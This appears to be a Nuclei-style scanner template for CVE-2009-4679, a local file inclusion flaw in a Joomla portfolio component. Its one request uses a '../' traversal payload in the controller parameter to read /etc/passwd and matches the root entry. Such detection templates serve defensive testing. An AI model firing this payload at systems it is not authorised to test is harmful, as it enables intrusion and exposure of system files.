id: CVE-2009-4679 info: name: Joomla! Component iF Portfolio Nexus - 'Controller' Remote File Inclusion author: daffainfo severity: high description: Directory traversal vulnerability in the inertialFATE iF Portfolio Nexus (com_if_nexus) component 1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/33440 - https://www.cvedetails.com/cve/CVE-2009-4679 classification: cve-id: CVE-2009-4679 tags: cve,cve2009,joomla,lfi,nexus requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200